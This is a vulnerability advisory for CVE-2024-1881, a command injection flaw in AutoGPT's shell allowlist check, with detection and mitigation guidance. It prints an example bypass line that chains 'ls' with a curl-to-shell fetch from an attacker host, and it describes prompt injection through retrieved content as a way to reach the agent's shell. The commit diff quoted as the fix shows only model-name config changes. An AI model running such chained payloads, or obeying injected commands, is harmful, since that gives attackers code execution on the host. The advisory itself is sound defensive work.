CVE-2024-1881: AutoGPT OS Command Injection Vulnerability

CVE-2024-1881 Overview

CVE-2024-1881 is an OS command injection vulnerability [CWE-78] in AutoGPT, a component of significant-gravitas/autogpt. The flaw exists in the shell command validation logic across versions v0.5.0 up to but not including v5.1.0. The validation routine inspects only the first word of a submitted command when comparing against the configured allowlist or denylist. Attackers can craft chained or compound shell commands that pass validation while smuggling unauthorized payloads to the shell. Successful exploitation allows execution of arbitrary operating system commands in the context of the AutoGPT agent process.

Critical Impact

Network-reachable AutoGPT deployments with shell execution enabled allow unauthenticated attackers to bypass command filtering and execute arbitrary OS commands.

Affected Products

• agpt:autogpt_classic versions v0.5.0 through versions prior to v5.1.0
• AutoGPT deployments configured with shell command allowlist or denylist controls
• Self-hosted significant-gravitas/autogpt instances exposing agent execution interfaces

Discovery Timeline

• 2024-06-06 - CVE-2024-1881 published to NVD
• 2025-08-05 - Last updated in NVD database

Technical Details for CVE-2024-1881

Vulnerability Analysis

The vulnerability stems from incomplete input parsing in AutoGPT's shell command validator. The function tokenizes the supplied command string and inspects only the first token before deciding whether to permit execution. Anything appended after that first token, including shell metacharacters such as ;, &&, ||, |, or backticks, escapes validation entirely.

An attacker who can submit prompts or instructions that reach the shell execution path can prepend an allowlisted binary and append arbitrary commands. The agent then forwards the full string to the underlying shell, which interprets the metacharacters and runs the attacker payload. The Huntr bug bounty submission documents this bypass against both allowlist and denylist enforcement modes.

Root Cause

The shell command validation function relies on first-token matching rather than parsing the full command structure. This design treats compound shell expressions as if they were single binaries, ignoring the fact that POSIX shells evaluate operators and substitutions before invoking each program. The denylist suffers the inverse problem: a malicious binary placed after a benign first word is never inspected.

Attack Vector

Exploitation requires the ability to influence the command string passed to AutoGPT's shell execution feature. Because AutoGPT acts on natural-language instructions and external content, an attacker may deliver the payload through prompt injection in retrieved documents, web pages, or files that the agent processes. No authentication or user interaction is required when the AutoGPT instance is network-reachable.

Example bypass patterns documented in the public disclosure include chaining an allowed command with a separator (for example, ls; curl http://attacker/x | sh) so that validation passes on ls while the shell still executes the trailing payload.

The upstream commit 26324f29849967fa72c207da929af612f1740669 ships the configuration changes accompanying the fix:

 ### LLM MODELS
 ################################################################################
 
-## SMART_LLM - Smart language model (Default: gpt-4-turbo-preview)
-# SMART_LLM=gpt-4-turbo-preview
+## SMART_LLM - Smart language model (Default: gpt-4-turbo)
+# SMART_LLM=gpt-4-turbo
 
-## FAST_LLM - Fast language model (Default: gpt-3.5-turbo-0125)
-# FAST_LLM=gpt-3.5-turbo-0125
+## FAST_LLM - Fast language model (Default: gpt-3.5-turbo)
+# FAST_LLM=gpt-3.5-turbo
 
 ## EMBEDDING_MODEL - Model to use for creating embeddings
 # EMBEDDING_MODEL=text-embedding-3-small

Source: GitHub Commit 26324f2

Detection Methods for CVE-2024-1881

Indicators of Compromise

• AutoGPT process spawning unexpected child processes such as sh, bash, curl, wget, nc, or python with network arguments.
• Shell history or agent logs containing command separators (;, &&, ||, |, backticks) following an allowlisted binary.
• Outbound network connections from the AutoGPT host to unknown infrastructure shortly after agent task execution.
• Creation of new files, cron entries, or SSH keys under the AutoGPT runtime user account.

Detection Strategies

• Inspect AutoGPT agent logs for shell commands containing metacharacters after the first token and alert on any deviation from expected single-binary invocations.
• Correlate process creation telemetry on AutoGPT hosts with the parent AutoGPT Python process to surface unauthorized child commands.
• Apply YARA or regex rules to outbound prompt content to flag prompt-injection payloads referencing shell separators alongside allowlisted utilities.

Monitoring Recommendations

• Enable verbose command execution logging in AutoGPT and forward logs to a centralized analytics platform for retention and review.
• Monitor egress traffic from AutoGPT hosts and alert on connections to non-approved destinations.
• Track version inventory of significant-gravitas/autogpt deployments and flag any instance running a version earlier than v5.1.0.

How to Mitigate CVE-2024-1881

Immediate Actions Required

• Upgrade AutoGPT to version v5.1.0 or later, which contains the corrected command validation logic.
• Disable the shell execution capability in AutoGPT configurations where it is not strictly required.
• Restrict network access to AutoGPT management and agent endpoints using firewall rules or reverse-proxy authentication.
• Run AutoGPT under a dedicated low-privilege account inside an isolated container or virtual machine.

Patch Information

The maintainers addressed the validation flaw in versions on or after v5.1.0 of significant-gravitas/autogpt. The associated repository change is tracked in commit 26324f2. Additional technical context is available in the Huntr Bug Bounty Listing.

Workarounds

• Remove or comment out shell execution commands from the AutoGPT command registry until the upgrade is applied.
• Enforce strict prompt and content sanitization at the application boundary to strip shell metacharacters before they reach the agent.
• Deploy mandatory access controls such as AppArmor, SELinux, or seccomp profiles to restrict the binaries the AutoGPT process can invoke.

# Verify installed AutoGPT version and upgrade to a fixed release
pip show agpt | grep -i version
pip install --upgrade "agpt>=5.1.0"

# Run AutoGPT in a restricted container without shell execution privileges
docker run --rm \
  --read-only \
  --cap-drop=ALL \
  --security-opt no-new-privileges \
  --user 1000:1000 \
  -e EXECUTE_LOCAL_COMMANDS=False \
  significantgravitas/auto-gpt:latest